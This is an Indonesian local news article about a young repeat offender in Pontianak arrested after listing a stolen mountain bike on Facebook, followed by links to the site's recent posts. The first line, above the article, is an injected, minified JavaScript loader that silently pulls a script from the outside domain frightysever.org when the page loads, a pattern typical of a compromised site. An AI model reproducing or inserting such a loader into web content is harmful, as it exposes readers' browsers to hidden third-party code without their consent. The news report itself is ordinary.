(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Pontianak

Curi Sepeda Lalu Tawarkan di Facebook, YS Apes Diciduk Polisi


KANALKALIMANTAN.COM, PONTIANAK – Curi sepeda, lalu tawarkan dijual di akun Facebook, pemuda di Pontianak ini langsung diciduk polisi.

Pria berinisial YS (20) ditangkap karena telah mencuri sepeda di Jalan Ya’m Sabran, Pontianak Timur  pada Jumat (14/8/2020). Belakangan YS menawarkan sepeda hasil curian itu pada akun Facebook milik.

Si pemilik sepeda ternyata melihat postingan sepeda yang ditawarkan akan dijual oleh YS. Lewat janjian ketemuaan langsung, YS dibekuk anggota Polsek Pontianak Timur.

Kanit Reskrim Polsek Pontianak Timur IPTU Asep Teddy mengatakan, mengamankan satu pria berinisial YS karena melakukan tindak pidana pencurian. YS (20) ditangkap lantaran telah mencuri sepeda di Jalan Ya’m Sabran Pontianak Timur  pada Jumat (14/8/2020).

Penangkapan YS, berawal dari korban yang melapor sepeda jenis MTB miliknya raib dari dalam rumah.

YS berhasil ditangkap setelah korban menemukan sebuah akun facebook yang memposting sepeda milik korban.

Postingan di Facebook itu ditelusuri anggota Polsek Pontianak Timur bersama pelapor yang berpura-pura ingin membeli sepeda tersebut. Bersama polisi, korban mengajak ketemuan YS yang memposting sepeda itu.

“Setelah bertemu dan mengecek kondisi sepeda itu dan benar milik pelapor. Anggota Reskrim Polsek Pontianak Timur langsung mengamankan pemegang akun Facebook tersebut guna menjalani proses lebih lanjut,” ujar Kapolsek Pontianak Timur, Senin (18/8/2020) malam.

Akibat dari kejadian tersebut  pelapor mengalami kerugian hingga Rp 3.100.000. Sementara pelaku YS dikenakan pasal 363 KUHP.

Barang bukti yang berhasil diamankan, satu unit sepeda merk inter berwarna merah hitam dan satu uni HP merk Redmi berwarna hitam

Ditambahkan Kasi Humas Polsek Pontianak Timur Iptu Iskak Pujiyanto bahwa pelaku YS merupakan residivis yang mendapat program asimilasi pada saat itu kasusnya ditangani Polsek Pontianak Utara. (kanalkalimantan.com/rls)

 

Reporter : rls
Editor : kk

Al Ghifari

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

6 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

6 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

6 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

7 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

7 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

7 jam ago

This website uses cookies.